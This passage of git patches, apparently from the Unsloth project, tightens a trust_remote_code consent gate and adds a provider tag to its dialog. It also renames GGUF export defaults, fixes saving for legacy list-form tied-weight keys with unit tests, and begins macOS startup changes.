+                "AutoConfig": "configuration_x.XConfig",
+                "AutoModelForCausalLM": "modeling_x.XForCausalLM",
+            }
+        }
+    ]
+    benign_py = {"modeling_x.py": "class XForCausalLM:\n    pass\n"}
+    for model in (
+        "unsloth/Nemotron-3-Nano-30B-A3B",
+        "unsloth/PaddleOCR-VL",
+        "unsloth/ERNIE-4.5-VL-28B-A3B-PT",
+    ):
+        with (
+            patch.object(consent, "_load_remote_code_configs", return_value = auto_map_cfg),
+            patch.object(consent, "repo_remote_code_files", return_value = benign_py),
+        ):
+            decision = preflight_remote_code_consent_for_targets([model], hf_token = None)
+        # routes/models.py opens the dialog from decision.has_remote_code.
+        assert decision.has_remote_code is True, (
+            f"{model} ships auto_map but the consent scan did not flag it -> dialog would "
+            "not fire"
+        )
+
+
+def test_no_auto_map_model_takes_no_dialog():
+    # Flip side: GLM-4.7-Flash ships no auto_map -> no dialog; its old YAML flag was a no-op.
+    from unittest.mock import patch
+    from utils.security import consent, preflight_remote_code_consent_for_targets
+
+    with patch.object(
+        consent, "_load_remote_code_configs", return_value = [{"model_type": "glm4_moe_lite"}]
+    ):
+        decision = preflight_remote_code_consent_for_targets(
+            ["unsloth/GLM-4.7-Flash"], hf_token = None
+        )
+    assert decision.has_remote_code is False
diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py
index d75da37971..475f8dabbb 100644
--- a/studio/backend/utils/security/consent.py
+++ b/studio/backend/utils/security/consent.py
@@ -85,8 +85,13 @@ def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Opt
     """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load
     would execute. Reads raw JSON with ``hf_token``; returns None when a config is
     unreadable (transient/auth) so the caller treats it as "unknown" and scans, False
-    when the repo genuinely ships none. GGUF is False (llama.cpp never runs auto_map);
-    this is the single chokepoint for that rule, shared by validate / scan / worker.
+    when the repo genuinely ships none.
+
+    GGUF-inertness is the LOADER's property, decided upstream by the caller's ``is_gguf``
+    check, not here. Every path that reaches this helper (export, training, non-GGUF
+    inference) loads via ``from_pretrained``, which imports ``auto_map`` even for a
+    ``.gguf``-only repo, so a GGUF-classified repo id MUST still be scanned. Only a direct
+    ``.gguf`` FILE reference is inert (a genuine single-file llama.cpp load).
     """
     # A direct .gguf FILE loads via llama.cpp (auto_map inert). A bare repo id ending in
     # .gguf can still ship safetensors + auto_map, so it falls through to the scan.
@@ -97,11 +102,6 @@ def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Opt
         return None
     if not any(bool((cfg or {}).get("auto_map")) for cfg in configs):
         return False
-    # auto_map present but a GGUF repo -> inert. Checked only when auto_map exists, so
-    # normal models skip the extra listing.
-    if _is_gguf_repo(model_name, hf_token):
-        logger.debug("Ignoring auto_map for GGUF repo '%s' (llama.cpp never runs it).", model_name)
-        return False
     return True
 
 
@@ -124,42 +124,6 @@ def _is_direct_gguf_file_ref(model_name: str) -> bool:
     return name.count("/") >= 2
 
 
-# Weight formats transformers can load (and thus run auto_map for). A repo shipping any
-# of these is not GGUF-only -- the user could load it through transformers -- so consent
-# still applies even if it also ships a .gguf.
-_TRANSFORMERS_WEIGHT_SUFFIXES = (
-    ".safetensors",
-    ".bin",
-    ".pt",
-    ".pth",
-    ".h5",
-    ".msgpack",
-    ".onnx",
-    ".ckpt",
-)
-
-
-def _is_gguf_repo(model_name: str, hf_token: Optional[str] = None) -> bool:
-    """Whether a remote repo loads only through llama.cpp (GGUF weights and NO
-    transformers-loadable weights), making its config inert. A repo that also ships
-    transformers weights is NOT GGUF (auto_map could run, so still gate). A listing
-    failure is treated as "not known-GGUF" (fall through to scan).
-    """
-    try:
-        from utils.paths import is_local_path
-
-        if is_local_path(model_name):
-            return False
-        from huggingface_hub import list_repo_files
-
-        files = [f.lower() for f in list_repo_files(model_name, token = hf_token)]
-        has_gguf = any(f.endswith(".gguf") for f in files)
-        has_transformers_weights = any(f.endswith(_TRANSFORMERS_WEIGHT_SUFFIXES) for f in files)
-        return has_gguf and not has_transformers_weights
-    except Exception:
-        return False
-
-
 def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]:
     """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as
     raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no
@@ -300,8 +264,7 @@ def evaluate_remote_code_consent_for_targets(
         )
 
     if not combined:
-        # auto_map declared but no executable .py (e.g. a GGUF repo's vestigial
-        # auto_map) -> nothing to run -> allow.
+        # auto_map declared but no executable .py (e.g. GGUF repo) -> nothing to scan -> allow.
         return RemoteCodeDecision(
             primary,
             False,
diff --git a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
index 5e59ec5214..363c8249c7 100644
--- a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
+++ b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
@@ -45,11 +45,9 @@ export async function confirmRemoteCodeIfNeeded({
     };
   }
 
-  // Open the dialog for custom-code consent OR flagged unsafe files. Otherwise a model
-  // can still need trust_remote_code via its YAML default (no auto_map, e.g. GLM-4.7-Flash):
-  // propagate the caller's requirement with an empty pin instead of sending false.
+  // No custom code and nothing unsafe: proceed without trust_remote_code. Models needing
+  // it ship auto_map and hit the dialog below, so the flag is only enabled via approval.
   if (!scan.requiresTrustRemoteCode && scan.unsafeFiles.length === 0) {
-    if (requiresTrustRemoteCode) onApprove(null);
     return true;
   }
 

From 4e8d0da8f963165215b3d04cb4e0a1ce6f6dcf64 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:11:18 -0700
Subject: [PATCH 006/306] Show model provider/org in the trust_remote_code
 consent dialog (#6537)

* Show model provider/org in the trust_remote_code consent dialog

The consent dialog showed only the trailing model name (modelName.split('/').pop()),
dropping the owner. The HF org/owner is the 'who do I trust' signal the prompt is
asking about, so render it: 'NVIDIA-Nemotron-3-Nano-4B from "unsloth"'. A null
provider for local paths and bare names leaves those renders unchanged. Applies to
the enable/blocked/malware variants (shared description block).

* Only show consent provider tag for a confident single Hub repo

Tighten parseModelDisplay so the 'from "<provider>"' tag is shown only for a
canonical owner/repo Hub id (exactly one slash, both segments non-empty) that is
not a local path and not part of a multi-repo scan. This avoids misattributing a
relative local directory name (models/llama/7b) or a LoRA base/external repo's
finding to the wrong publisher in a trust decision. Extract a ProviderSuffix
component so both description branches render the clause identically via &&.

* Tighten consent provider-tag comments

* Source the consent provider tag from the backend

The dialog inferred the provider client-side from the model id, using
scanCreatedRepos (a cleanup-only list) to detect multi-repo scope and a
regex that missed bare relative paths like a local owner/model dir. Both
could attribute the scanned code to the wrong publisher.

Move the decision to the backend, where locality and scan scope are
known: _consent_provider returns the owner only for a single, non-local,
canonical owner/repo Hub id, and the route returns it as payload[provider].
The frontend now renders scan.provider directly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Suppress consent provider tag when external auto_map code is scanned

A single Hub repo can declare an auto_map that loads code from another repo
(owner/other--module.Class). The scanner fingerprints that external repo's
Python, but security_targets still held only the primary, so the dialog
attributed the custom code to the primary publisher. Pass the external refs
collected during the scan to _consent_provider and return no provider when any
are present, so attribution is shown only for genuinely self-contained repos.

* Trim comments to be more succinct

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/models.py               | 21 ++++++++++++
 studio/backend/tests/test_consent_gate.py     | 33 +++++++++++++++++++
 .../features/security/api/remote-code-api.ts  |  2 ++
 .../components/remote-code-consent-dialog.tsx | 27 +++++++++++++--
 .../security/hooks/use-remote-code-consent.ts |  1 +
 .../frontend/src/features/security/types.ts   |  1 +
 6 files changed, 82 insertions(+), 3 deletions(-)

diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index c17bb6fb57..1e567774ac 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1582,6 +1582,23 @@ async def get_model_config(
         )
 
 
+def _consent_provider(
+    model_name: str,
+    scanned_targets: List[str],
+    external_refs: Optional[List[str]] = None,
+) -> Optional[str]:
+    """HF org for the consent dialog's `from "<provider>"` tag, or None.
+
+    Returns the owner only for a single, non-local, canonical ``owner/repo`` id; a LoRA's
+    extra base, a local path, or an external ``auto_map`` ref yields None so the dialog
+    never misattributes scanned code.
+    """
+    if len(scanned_targets) != 1 or external_refs or is_local_path(model_name):
+        return None
+    parts = model_name.split("/")
+    return parts[0] if len(parts) == 2 and all(parts) else None
+
+
 @router.post("/remote-code-scan")
 async def scan_model_remote_code(
     model_name: str = Body(..., embed = True),
@@ -1645,12 +1662,14 @@ async def scan_model_remote_code(
             except Exception:
                 pass
 
+        external_refs: list = []
         for _target in security_targets:
             # Use the pre-base-resolution snapshot for the primary (see above).
             _mark_scan_created(
                 _target, preexisting = _primary_preexisting if _target == model_name else None
             )
             for _ext in external_auto_map_repos(_target, hf_token):
+                external_refs.append(_ext)
                 _mark_scan_created(_ext)
         decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token)
         payload = decision.response_payload()
@@ -1658,6 +1677,8 @@ async def scan_model_remote_code(
         # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup.
         payload["created_by_scan"] = model_name in scan_created_repos
         payload["scan_created_repos"] = scan_created_repos
+        # Provider tag decided here, where locality/scan scope/external refs are known.
+        payload["provider"] = _consent_provider(model_name, security_targets, external_refs)
 
         # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can
         # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map.
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
index 3237ffea8d..0fc8d7b695 100644
--- a/studio/backend/tests/test_consent_gate.py
+++ b/studio/backend/tests/test_consent_gate.py
@@ -815,6 +815,39 @@ class TestRemoteCodeScan:
         assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
 
 
+class TestConsentProvider:
+    """_consent_provider attributes the dialog's `from "<provider>"` tag only when safe."""
+
+    @staticmethod
+    def _fn():
+        from routes.models import _consent_provider
+        return _consent_provider
+
+    def test_single_hub_id_returns_owner(self):
+        assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"]) == "NVIDIA"
+        assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"], []) == "NVIDIA"
+
+    def test_multi_target_lora_returns_none(self):
+        # A LoRA scans adapter + base; attributing to one would mislead.
+        assert self._fn()("user/adapter", ["user/adapter", "NVIDIA/base"]) is None
+
+    def test_external_auto_map_ref_returns_none(self):
+        # A single repo whose auto_map pulls code from another repo: don't attribute it.
+        assert self._fn()("owner/repo", ["owner/repo"], ["evilorg/evilrepo"]) is None
+
+    def test_local_path_returns_none(self, tmp_path):
+        d = tmp_path / "org" / "model"
+        d.mkdir(parents = True)
+        assert self._fn()(str(d), [str(d)]) is None
+        assert self._fn()("/home/me/model", ["/home/me/model"]) is None
+
+    def test_non_canonical_id_returns_none(self):
+        fn = self._fn()
+        assert fn("a/b/c", ["a/b/c"]) is None
+        assert fn("/repo", ["/repo"]) is None
+        assert fn("plainname", ["plainname"]) is None
+
+
 class TestScannerCoversAllExecutableCode:
     """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
 
diff --git a/studio/frontend/src/features/security/api/remote-code-api.ts b/studio/frontend/src/features/security/api/remote-code-api.ts
index 8c22ec0f11..0e9a75cc0c 100644
--- a/studio/frontend/src/features/security/api/remote-code-api.ts
+++ b/studio/frontend/src/features/security/api/remote-code-api.ts
@@ -39,6 +39,7 @@ interface RemoteCodeScanResponse {
   scan_created_repos?: string[];
   unsafe_files?: Array<{ path?: string; level?: string }>;
   security_blocked?: boolean;
+  provider?: string | null;
 }
 
 /** Scan a model's auto_map code for the consent dialog (backend reads config + repo
@@ -93,6 +94,7 @@ export async function getRemoteCodeScan(
       (data.created_by_scan ? [data.model_name ?? modelName] : []),
     unsafeFiles,
     securityBlocked: Boolean(data.security_blocked),
+    provider: data.provider ?? null,
   };
 }
 
diff --git a/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
index 8f3616553b..6426225e7f 100644
--- a/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
+++ b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
@@ -161,6 +161,24 @@ function FindingCard({ finding }: { finding: RemoteCodeFinding }) {
   );
 }
 
+/** Last path segment of the model id, for display. */
+function modelDisplayName(modelName?: string): string {
+  if (!modelName) return "This model";
+  return modelName.split("/").pop() || modelName;
+}
+
+/** ` from "<provider>"` clause, rendered only when a provider was resolved. */
+function ProviderSuffix({ provider }: { provider: string | null }) {
+  if (!provider) return null;
+  return (
+    <>
+      {" "}
+      from{" "}
+      <span className="font-medium text-foreground">"{provider}"</span>
+    </>
+  );
+}
+
 /** App-wide consent dialog for trust_remote_code loads: shows scan findings with the
  *  flagged code in context; CRITICAL is a hard block. Mounted once in the root layout. */
 export function RemoteCodeConsentDialog() {
@@ -168,7 +186,8 @@ export function RemoteCodeConsentDialog() {
   const scan = useRemoteCodeConsentDialogStore((s) => s.scan);
   const resolve = useRemoteCodeConsentDialogStore((s) => s.resolve);
 
-  const displayName = scan?.modelName?.split("/").pop() || "This model";
+  const displayName = modelDisplayName(scan?.modelName);
+  const provider = scan?.provider ?? null;
   const blocked = scan ? !scan.approvable : false;
   const findings = scan?.findings ?? [];
   const unsafeFiles = scan?.unsafeFiles ?? [];
@@ -218,7 +237,8 @@ export function RemoteCodeConsentDialog() {
                     <>
                       <span className="font-medium text-foreground">
                         {displayName}
-                      </span>{" "}
+                      </span>
+                      <ProviderSuffix provider={provider} />{" "}
                       contains files that Hugging Face's security scan flagged as
                       unsafe (for example, a malicious pickle that would run code
                       when the model loads). It cannot be loaded. The flagged
@@ -228,7 +248,8 @@ export function RemoteCodeConsentDialog() {
                     <>
                       <span className="font-medium text-foreground">
                         {displayName}
-                      </span>{" "}
+                      </span>
+                      <ProviderSuffix provider={provider} />{" "}
                       declares custom Python code in its repository.{" "}
                       {blocked
                         ? "A security scan flagged CRITICAL issues, so it cannot be enabled."
diff --git a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
index 363c8249c7..68045559b3 100644
--- a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
+++ b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
@@ -42,6 +42,7 @@ export async function confirmRemoteCodeIfNeeded({
       scanCreatedRepos: [],
       unsafeFiles: [],
       securityBlocked: false,
+      provider: null,
     };
   }
 
diff --git a/studio/frontend/src/features/security/types.ts b/studio/frontend/src/features/security/types.ts
index f11dbdd38b..0c850c3bfe 100644
--- a/studio/frontend/src/features/security/types.ts
+++ b/studio/frontend/src/features/security/types.ts
@@ -43,4 +43,5 @@ export interface RemoteCodeScan {
   scanCreatedRepos: string[];
   unsafeFiles: UnsafeFile[]; // files HF flagged unsafe; non-empty => hard block
   securityBlocked: boolean; // blocked specifically by the malware gate
+  provider: string | null; // HF org for the "from <provider>" tag; null when unattributable
 }

From 307455762c494712e6af438da362292645b256f3 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:11:33 -0700
Subject: [PATCH 007/306] Use uppercase -GGUF suffix for GGUF export default
 names (#6538)

* Use uppercase -GGUF suffix for GGUF export default names

Match the HF/Unsloth GGUF repo convention (Model-GGUF). Default export save dir
'<model>-gguf' -> '<model>-GGUF', the local-path sibling dir token '_gguf' -> '_GGUF',
and the model-name placeholder 'my-model-gguf' -> 'my-model-GGUF'. Pre-filled defaults
only; no backend/path logic change.

* Keep local GGUF sibling dir lowercase to match backend cleanup

The uppercase change to siblingGgufDirectory diverged from the backend's
hard-coded intermediate '<checkpoint>_gguf' dir (core/export/export.py), which
the export relocates GGUFs out of and then deletes. With the user's save dir
defaulting to '_GGUF', that no-longer-equal lowercase sibling would be relocated
and removed, which can delete an existing export. Revert the sibling default to
'_gguf'; the user-facing GGUF export name (buildRelativeSaveDirectory) keeps the
uppercase -GGUF token.

* Tighten GGUF sibling-dir comment

* Trim comments to be more succinct

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .../src/features/export/components/export-run-panel.tsx       | 2 +-
 studio/frontend/src/features/export/export-page.tsx           | 4 +++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
index ebd35c2158..9e0edf7303 100644
--- a/studio/frontend/src/features/export/components/export-run-panel.tsx
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -320,7 +320,7 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                         Model Name
                       </label>
                       <Input
-                        placeholder="my-model-gguf"
+                        placeholder="my-model-GGUF"
                         value={modelName}
                         onChange={(e) => onModelNameChange(e.target.value)}
                       />
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 14022f4d19..4d3cfad5dc 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -84,7 +84,7 @@ function buildRelativeSaveDirectory(
 ): string {
   if (exportMethod === "gguf") {
     return `${(sourceBaseModelName.split("/").pop() ?? selectedModelIdx ?? "model")
-      .replace(/[^a-zA-Z0-9._-]/g, "-")}-gguf`;
+      .replace(/[^a-zA-Z0-9._-]/g, "-")}-GGUF`;
   }
   return `${selectedModelIdx ?? "model"}/${checkpoint}`;
 }
@@ -93,6 +93,8 @@ function siblingGgufDirectory(sourcePath: string): string | null {
   const trimmed = sourcePath.trim().replace(/[\\/]+$/, "");
   if (!trimmed) return null;
   const slash = Math.max(trimmed.lastIndexOf("/"), trimmed.lastIndexOf("\\"));
+  // Lowercase `_gguf` matches the backend's intermediate dir (core/export/export.py);
+  // `_GGUF` would relocate+delete that sibling.
   if (slash < 0) return `${trimmed}_gguf`;
   const parent =
     slash === 0 || (slash === 2 && /^[A-Za-z]:/.test(trimmed))

From f89c829fcf3135c3b625b4eebad0fe7e59babfd1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:11:46 -0700
Subject: [PATCH 008/306] Fix save crash for legacy list-form
 _tied_weights_keys (NemotronH) (#6540)

* Fix save crash for legacy list-form _tied_weights_keys (NemotronH)

transformers >= 5 save_pretrained reads module._tied_weights_keys.keys(),
which raises 'list' object has no attribute 'keys' for modules that still
declare the attribute as a list (e.g. NemotronH backbone.layers.N.mixer.*_proj),
crashing GGUF export and merged saves part-way through.

Coerce any legacy list/tuple _tied_weights_keys into the dict form transformers
5.x expects, mapping each key to itself. Only the keys are read (as dedup
patterns) so behaviour is preserved, and older transformers that iterate the
attribute directly see the same keys. The helper is idempotent and best-effort
so a save never fails over it. Called from unsloth_save_model,
unsloth_save_pretrained_gguf and unsloth_generic_save after tokenizer patching.

Adds version-independent unit tests covering list/tuple coercion, dict and
None/empty pass-through, idempotency and odd-object tolerance.

* Coerce empty/set _tied_weights_keys too

transformers only skips _tied_weights_keys when it is None, so an empty list,
tuple or set still reaches .keys() and raises the same AttributeError. Coerce
every non-dict container (including the empty case and sets) to a dict, and add
tests for empty/set inputs.

* Tighten comments in tied-weights save fix

* Scope tied-weights-keys coercion to the save call

Coercing legacy list-form _tied_weights_keys to {k: k} fixed the transformers
5 save crash, but persisted a self-mapping on the live model. transformers 5
re-ties from the dict's values, so a later resize/re-tie would no-op the tie
instead of pointing the output weights back at the input embeddings.

Replace the in-place mutation with a decorator that coerces before the save and
restores the originals afterwards (including on exception), so the save sees the
dict form transformers needs while the model keeps its original tie metadata.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments to be more succinct

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../test_normalize_tied_weights_keys.py       | 116 ++++++++++++++++++
 unsloth/save.py                               |  59 +++++++++
 2 files changed, 175 insertions(+)
 create mode 100644 tests/saving/test_normalize_tied_weights_keys.py

diff --git a/tests/saving/test_normalize_tied_weights_keys.py b/tests/saving/test_normalize_tied_weights_keys.py
new file mode 100644
index 0000000000..d18c9877ea
--- /dev/null
+++ b/tests/saving/test_normalize_tied_weights_keys.py
@@ -0,0 +1,116 @@
+"""Unit tests for the tied-weights-keys coercion used by unsloth.save.
+
+Regression for the NemotronH save / GGUF-export crash: transformers >= 5
+``save_pretrained`` reads ``_tied_weights_keys.keys()`` and raises on the legacy list
+form. Exercised on tiny module trees, no model download.
+"""
+
+import pytest
+import torch
+
+from unsloth.save import (
+    _coerce_tied_weights_keys_to_dict,
+    _normalize_tied_weights_keys_for_save,
+    _restore_tied_weights_keys,
+)
+
+
+def _build_tree():
+    root = torch.nn.Module()
+    mixer = torch.nn.Module()
+    root.add_module("mixer", mixer)
+    return root, mixer
+
+
+def test_list_becomes_dict_and_restores():
+    root, mixer = _build_tree()
+    mixer._tied_weights_keys = ["q_proj.weight", "o_proj.weight"]
+    originals = _coerce_tied_weights_keys_to_dict(root)
+    assert mixer._tied_weights_keys == {
+        "q_proj.weight": "q_proj.weight",
+        "o_proj.weight": "o_proj.weight",
+    }
+    _restore_tied_weights_keys(originals)
+    assert mixer._tied_weights_keys == ["q_proj.weight", "o_proj.weight"]
+
+
+def test_tuple_and_set_become_dict():
+    root, mixer = _build_tree()
+    root._tied_weights_keys = ("lm_head.weight",)
+    mixer._tied_weights_keys = {"q_proj.weight"}
+    _coerce_tied_weights_keys_to_dict(root)
+    assert root._tied_weights_keys == {"lm_head.weight": "lm_head.weight"}
+    assert mixer._tied_weights_keys == {"q_proj.weight": "q_proj.weight"}
+
+
+def test_empty_containers_become_dict():
+    root, mixer = _build_tree()
+    root._tied_weights_keys = []
+    mixer._tied_weights_keys = ()
+    _coerce_tied_weights_keys_to_dict(root)
+    # transformers skips only None; an empty list still hits .keys().
+    assert root._tied_weights_keys == {} and mixer._tied_weights_keys == {}
+
+
+def test_none_and_existing_dict_are_left_unchanged():
+    root, mixer = _build_tree()
+    root._tied_weights_keys = None
+    original = {"a.weight": "b.weight"}
+    mixer._tied_weights_keys = original
+    originals = _coerce_tied_weights_keys_to_dict(root)
+    assert root._tied_weights_keys is None
+    assert mixer._tied_weights_keys is original  # untouched, not rebuilt
+    assert originals == []  # nothing to restore
+
+
+def test_model_without_modules_method_does_not_raise():
+    class NoModules:
+        pass
+
+    assert _coerce_tied_weights_keys_to_dict(NoModules()) == []
+
+
+def test_decorator_coerces_during_save_then_restores():
+    root, mixer = _build_tree()
+    mixer._tied_weights_keys = ["lm_head.weight"]
+    seen = {}
+
+    @_normalize_tied_weights_keys_for_save
+    def save(model):
+        seen["keys"] = dict(model.mixer._tied_weights_keys)
+        return "ok"
+
+    assert save(root) == "ok"
+    # Dict form was visible to the save, list form restored afterwards.
+    assert seen["keys"] == {"lm_head.weight": "lm_head.weight"}
+    assert mixer._tied_weights_keys == ["lm_head.weight"]
+
+
+def test_decorator_restores_on_exception():
+    root, mixer = _build_tree()
+    mixer._tied_weights_keys = ["lm_head.weight"]
+
+    @_normalize_tied_weights_keys_for_save
+    def save(model):
+        raise RuntimeError("boom")
+
+    with pytest.raises(RuntimeError):
+        save(root)
+    assert mixer._tied_weights_keys == ["lm_head.weight"]
+
+
+def test_decorator_finds_model_in_kwargs_and_positional():
+    # unsloth_save_model / unsloth_generic_save pass model= as a keyword; the gguf path
+    # binds it as the first positional (method ``self``). Both must be coerced.
+    for call in (lambda f, r: f(model = r), lambda f, r: f(r)):
+        root, mixer = _build_tree()
+        mixer._tied_weights_keys = ["w.weight"]
+        captured = {}
+
+        @_normalize_tied_weights_keys_for_save
+        def save(model):
+            captured["dict"] = isinstance(model.mixer._tied_weights_keys, dict)
+
+        call(save, root)
+        assert captured["dict"] is True
+        assert mixer._tied_weights_keys == ["w.weight"]
diff --git a/unsloth/save.py b/unsloth/save.py
index a6cc665d3e..0e8c8cdc2d 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -44,6 +44,7 @@ import json
 import shutil
 import pickle
 import gc
+import functools
 from transformers.models.llama.modeling_llama import logger
 from .kernels import fast_dequantize, QUANT_STATE, get_lora_parameters_bias
 import subprocess
@@ -489,6 +490,62 @@ def _qwen3_5_vlm_state_dict_for_save(state_dict):
     return remapped_state_dict
 
 
+def _coerce_tied_weights_keys_to_dict(model):
+    """Coerce each module's legacy list/tuple/set ``_tied_weights_keys`` to dict form,
+    returning ``[(module, original), ...]`` for the caller to restore.
+
+    transformers >= 5 ``save_pretrained`` reads ``_tied_weights_keys.keys()``, so a model
+    still declaring it as a list (e.g. NemotronH) crashes mid-save.
+    """
+    originals = []
+    try:
+        modules = list(model.modules())
+    except Exception:
+        return originals
+    for module in modules:
+        keys = getattr(module, "_tied_weights_keys", None)
+        if isinstance(keys, (list, tuple, set)):
+            try:
+                module._tied_weights_keys = {k: k for k in keys}
+                originals.append((module, keys))
+            except Exception:
+                pass
+    return originals
+
+
+def _restore_tied_weights_keys(originals):
+    """Undo _coerce_tied_weights_keys_to_dict."""
+    for module, keys in originals:
+        try:
+            module._tied_weights_keys = keys
+        except Exception:
+            pass
+
+
+def _normalize_tied_weights_keys_for_save(save_fn):
+    """Coerce legacy list-form ``_tied_weights_keys`` to dict for the duration of a save,
+    then restore: transformers >= 5 re-ties from the dict's *values*, so a persisted
+    ``{k: k}`` self-map would no-op a later resize/re-tie. ``model`` is the first positional
+    arg (bound-method ``self``) or the ``model=`` keyword.
+    """
+
+    @functools.wraps(save_fn)
+    def wrapper(*args, **kwargs):
+        model = kwargs.get("model")
+        if model is None and args:
+            model = args[0]
+        if model is None:
+            model = kwargs.get("self")
+        originals = _coerce_tied_weights_keys_to_dict(model) if model is not None else []
+        try:
+            return save_fn(*args, **kwargs)
+        finally:
+            _restore_tied_weights_keys(originals)
+
+    return wrapper
+
+
+@_normalize_tied_weights_keys_for_save
 @torch.inference_mode
 def unsloth_save_model(
     model,
@@ -2092,6 +2149,7 @@ def push_to_ollama(tokenizer, gguf_location, username: str, model_name: str, tag
     print("Successfully pushed to ollama")
 
 
+@_normalize_tied_weights_keys_for_save
 def unsloth_save_pretrained_gguf(
     self,
     save_directory: Union[str, os.PathLike],
@@ -2968,6 +3026,7 @@ def save_to_gguf_generic(
     return metadata
 
 
+@_normalize_tied_weights_keys_for_save
 @torch.inference_mode
 def unsloth_generic_save(
     model,

From 378e33c8a589d1e006520f1b78f3ef083bab4314 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:20:08 -0700
Subject: [PATCH 009/306] Studio macOS: faster startup, MLX self-heal, drop
 obsolete prebuilt pins (#6494)

* Studio: defer llama.cpp update probes and self-heal MLX on macOS

Two macOS startup problems shared one root area in the FastAPI lifespan:

- The llama.cpp capability + freshness probes ran inline before the server
  yielded, so a cold/slow/flaky network on the GitHub freshness check blocked
  'Application startup complete' (~34s on CI, longer in the field). Move both
  probes to a daemon thread; app.state stays None until ready (status routes
  already re-probe at request time). Opt out with UNSLOTH_DISABLE_UPDATE_CHECK=1.

- Train and Export were greyed out because mlx/mlx-lm/mlx-vlm arrive only
  transitively and a resolver backtrack silently drops them, so CHAT_ONLY stayed
  true. Add utils/mlx_repair.py: when Apple Silicon is detected without MLX,
  reinstall mlx/mlx-lm/mlx-vlm by name on a daemon thread and re-run hardware
  detection (opt out UNSLOTH_DISABLE_MLX_AUTOREPAIR=1). Surface a chat_only_reason
  in /api/health plus a sidebar tooltip so a greyed Train/Export explains itself
  instead of failing silently.

* Studio: guard model defaults against a None model name

load_model_defaults(None) called model_name.lower() with no guard, raising
'Error loading model defaults for None' before any model is selected. Return
an empty dict for a falsy/non-str name.

* Studio: drop obsolete upstream macOS + Windows Blackwell prebuilt pins

Both pins worked around gaps in ggml-org upstream prebuilts, but Studio now
routes every GPU host and all of macOS to the unslothai/llama.cpp fork
(published_repo_for_host), which ships the needed bundles, so both pins are
dead code on the default install path:

- macOS b9415: macOS always routes to the fork (its own macOS bundles), and
  host_supports_macos_minos() is the backstop. The pin only fired under an
  explicit --published-repo ggml-org override.
- Windows Blackwell b9360: Windows-NVIDIA routes to the fork, whose
  windows-x64-cuda13 bundle covers Blackwell (manifest max_sm 120, toolkit
  13.3), so the pin's self-disable check makes it dormant on every default
  install; it could only activate under the same upstream override on a
  13.0-13.2 driver.

Remove the pin constants, functions, and call sites. Keep the Blackwell
capability detection (_drop_blackwell_incapable_windows_cuda, _host_is_blackwell,
_windows_cuda_attempt_covers_blackwell) that still drops a non-sm_120 cuda-12.4
build on a Blackwell host. After this, an explicit --published-repo ggml-org
override on a Blackwell 13.0-13.2 host loses its GPU fallback and lands on CPU;
the default fork path is unaffected. Update the install selection-logic and
macOS-compat unit tests for the new no-pin behavior.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: walk back deeper on the macOS upstream prebuilt path

After removing the b9415 macOS pin, the explicit --published-repo ggml-org
upstream path still used the default 2-release fallback, so a pre-macOS-26 host
behind a run of macOS-26-only builds would exhaust two too-new plans (minos is
only checked post-download) and drop to a source build before reaching a
loadable older release. Walk back as deep as the fork macOS path
